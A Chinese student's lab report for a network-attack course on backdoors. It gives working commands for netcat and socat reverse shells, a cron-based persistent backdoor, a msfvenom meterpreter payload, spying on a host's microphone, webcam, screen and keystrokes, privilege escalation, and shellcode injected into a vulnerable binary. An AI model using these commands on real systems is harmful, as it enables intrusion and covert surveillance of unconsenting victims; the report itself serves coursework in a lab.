2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践
2019-2020-2 20175227张雪莹《网络对抗技术》
Exp2 后门原理与实践
目录
0. 基础知识
0.1 后门概念
不经过正常认证流程而访问系统的通道。
0.2 哪里有后门?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
0.3 相对狭义的后门概念:
- 特指潜伏于操作系统中专门做后门的一个程序
- “坏人”可以连接这个程序
- 远程执行各种指令
- 概念和木马有重叠
1. 实验内容
1.0 常用后门工具
NC
或netcat
:是一个底层工具,进行基本的TCP
UDP
数据收发。常被与其他工具结合使用,起到后门的作用。Linux
: 一般自带netcat
,"man netcat
" 或"man nc
"可查看其使用说明。Windows
: 课程主页附件中下载ncat.rar
解压即可使用。Mac
: 系统自带,"man nc
",查看其使用说明。
1.0.1 Win获得Linux Shell
- windows 打开监听
- 下载ncat.rar,解压至主机中任意位置。(为了方便,我将它放在
C:\Users\S2
中,这样命令行中直接进入即可) - 在主机上按
Windows+r
输入cmd
打开命令行,输入ipconfig
查看主机IP地址
- 下载ncat.rar,解压至主机中任意位置。(为了方便,我将它放在
- 进入
nc
所在文件夹中,输入ncat.exe -l -p <端口号>
,如图:
- Linux反弹连接win
- 在
kali
终端中输入nc <主机IP地址> <之前输入的端口号> -e /bin/sh
,如图:
- 在
windows
下获得一个linux shell
,可运行任何指令,如ls
,pwd
1.0.2 Linux获得Win Shell
-
Linux运行监听指令
- 输入
ip add
查看Linux
的IP地址
- 之后输入
nc -l -p <端口号>
,使其处于监听状态
- 输入
-
Windows反弹连接Linux
- 输入
ncat.exe -e cmd.exe ip_of_linux <之前输入的端口号>
- 输入
-
Linux下看到Windows的命令提示
1.0.3 使用nc传输数据
- windows运行监听指令
- Linux连接到Windows
- 建立连接后可传输数据
1.1 使用netcat获取主机操作Shell,cron启动
- 在主机打开命令行,使用
ncat.exe -l 5227
监听5227
端口
- 在Linux中,终端里输入
crontab -e
编辑一条定时任务,之后选择编辑器3
,在底行插入30 * * * * /bin/netcat 192.168.171.1 5227 -e /bin/sh
,即在每个小时的第30分钟反向连接主机的5227
端口。
- 系统第三十分钟时,已经反向连接至Linux,获取了Shell:
1.2 使用socat获取主机操作Shell, 任务计划启动
- 在主机上下载老师附件中提供的
socat.rar
,然后解压到自选路径。 - 在主机中找到左下角windows标志,然后
右键
->计算机管理
->任务计划程序
->创建任务
- 在
常规
选项卡中填写任务名称( 这里我起名为zxysocat
),然后在触发器
选项卡中新建触发器,参照下图选择:
- 在
操作
选项卡中,选择新建操作
,设置中程序或脚本处
选中你所下载解压的socat.exe
的路径,在添加参数中填入tcp-listen:<端口号> exec:cmd.exe,pty,stderr
,即将cmd.exe
绑定到该端口号,同时把cmd.exe
的stderr
重定向stdout
上。
- 确定操作后,需按win+L锁定主机,登录进去后,双击任务计划程序库,可以发现刚刚创建的任务socat已经开始运行。
- 紧接着,在Linux中输入
socat - tcp:<主机IP>:<之前输入的端口号>
,其中-
表示标准输入/出,第二个流连接到主机的相应端口。之后发现已经成功获得一个cmd Shell
1.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Linux中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<反弹连接的IP> LPORT=<想要使用的端口号> -f exe > <文件名>.exe
,其中反弹连接IP为Linux的IP。如图所示,生成了想要的后门程序:zxy_20175227_backdoor.exe
- 在主机命令行中输入
ncat.exe -lv 5227 > zxy_20175227_backdoor.exe
,获得当前连接状态
- Linux中输入
nc <主机IP> <之前输入的端口号> < <文件名>.exe
,将生成的后门程序传送至主机,下图为传输成功情况。
- Linux中重新打开一个终端,输入
msfconsole
进入msf控制台 - 依次输入:
use exploit/multi/handler
//使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
//使用与生成后门程序时相同的payloadset LHOST <Linux的IP>
set LPORT <之前输入的端口号>
exploit
//设置完成,开始监听
- (进行此操作前务必关闭主机的防火墙和杀软)先在主机命令行中中断当前操作,再双击运行后门程序
zxy_20175227_backdoor.exe
。之后发现Linux获得了主机的Shell:
1.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 以下操作可以紧接着上一步操作进行
- 输入
record_mic
截获音频
- (我的原装摄像头硬件上有问题,之前装了驱动等尝试都无法检测到摄像头,准备去售后维修。)输入
webcam_snap
使用摄像头拍照
- 输入
screenshot
进行截屏
- 输入
keyscan_start
开始记录下击键,输入keyscan_dump
指令读取击键的记录
- 还可以使用
getuid
查看当前用户,使用getsystem
进行提权
1.5 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
首先要到官网上下载
Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)
这个文件:
(这个外网巨龟速,我把它传码云了,链接在此下载c文件就行) -
这里需要参考实验一的任务三找到shellcode地址:
- 在第一个终端里关闭地址随机化 //准备工作
- 在第一个终端中运行pwn1之后不回车
- 在第二个终端中查找pwn1的进程号,用GDB追踪该进程,找到栈顶(esp)中存放的地址,计算出shellcode地址
- 在第一个终端中中断pwn1运行
- 在第二个终端中注入input_shellcode:
perl -e 'print "A" x 32;print"\xe0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
- 在第三个终端中打开msf控制台,依次输入:
use exploit/multi/handler // 使用监听模块,设置payload(攻击荷载)
set payload linux/x86/shell_reverse_tcp // 这里设置为我们下载的那个payload
set LHOST 127.0.0.1 // 原始文件中的主机号和端口号都没改,我们默认使用
set LPORT 4444
show options
exploit // 设置完成,开始监听
- 在第二个终端中用
(cat input_shellcode;cat) | ./pwn1
运行- 这时发现第三个终端中获得了shell
- 截图如下:
2. 老师提问
2.1 例举你能想到的一个后门进入到你系统中的可能方式?
- 回答:老师视频中也提到过,最常见的就是在第三方网站上下载一些软件安装包,这些安装包80%都是有后门的。一旦下载后安装,黑客就可以利用这些后门程序对你的系统进行恶意攻击。
2.2 例举你知道的后门如何启动起来(win及linux)的方式?
- 回答:
- win:就像此次实验中做的,创建一个cron任务,定时循环启动。
- linux:把它绑定在某个脚本文件中,脚本文件开机自动运行,反弹连接被攻击机。
2.3 Meterpreter有哪些给你映像深刻的功能?
- 回答:很可怕的就是,它可以控制你的摄像头(虽然我没有成功),这样的话我们就毫无隐私可言,一言一行全都暴露在黑客的眼睛中。
2.4 如何发现自己有系统有没有被安装后门?
- 回答:在cmd中用
netstat -na
查看端口开放情况,当开的端口大于1024尤其是4000以上的时候,很有可能就被安装后门了。这时可以自己手动修改注册表,删除可疑的可执行文件进行查杀,或者使用杀软。
3. 所遇到的问题及其解决方法
3.1 问题1
- 描述:无法查看
Linux
的IP地址,ifconfig
命令无法找到,如图:
- 解决方法:我怀疑是没有安装与
ifconfig
命令相关的工具包,上网搜索之后该命令在net-tools
中,apt-get install net-tools
后显示该工具包已经安装,如图:
之后经过发现一篇博文发现ifconfig
命令已经被逐渐淘汰,建议选用ip add
命令,果真查到了IP地址结果在此。
3.2 问题2
- 描述:Linux监听失败,未能进入Windows Shell,如图:
- 解决办法:我猜测可能是由于主机防火墙已经将其拦截,打开拦截信息查看,果真如此,如图:
关闭防火墙,卸载安全软件后,Linux成功进入Windows Shell,结果在此。
3.3 问题3
- 描述:Linux中无法执行meterpreter命令,如图:
- 解决方法:它提示我需要卸载当前
bundler
,我推测是当前该版本与kali版本不匹配。根据网上建议,我下载了bundler-1.17.3
,之后成功进行后续操作:
4. 实验感想
- 在这次实验中,我做的冷汗直流。因为之前知道黑客干些啥,但是不知道他们那么简单就能进入你的系统,对你的系统进行恶意攻击。我还经常从啥**软件网下安装包,开心地用着破解软件。殊不知自己的系统可能已经完全由别人所掌握……看来我们不光要学习这些技能,要增强自己的思想道德建设,将所学用到正道上。另外,回归正题,在做加分任务的时候,我才发现自己实验一的任务三并不太清楚实践目的,自己又花了一些时间去把它强化,应用到此次实验中,佩服江学姐的学习能力,她有清晰的思维去指导自己把这个任务完成。自己还差的很远,要继续加油啊!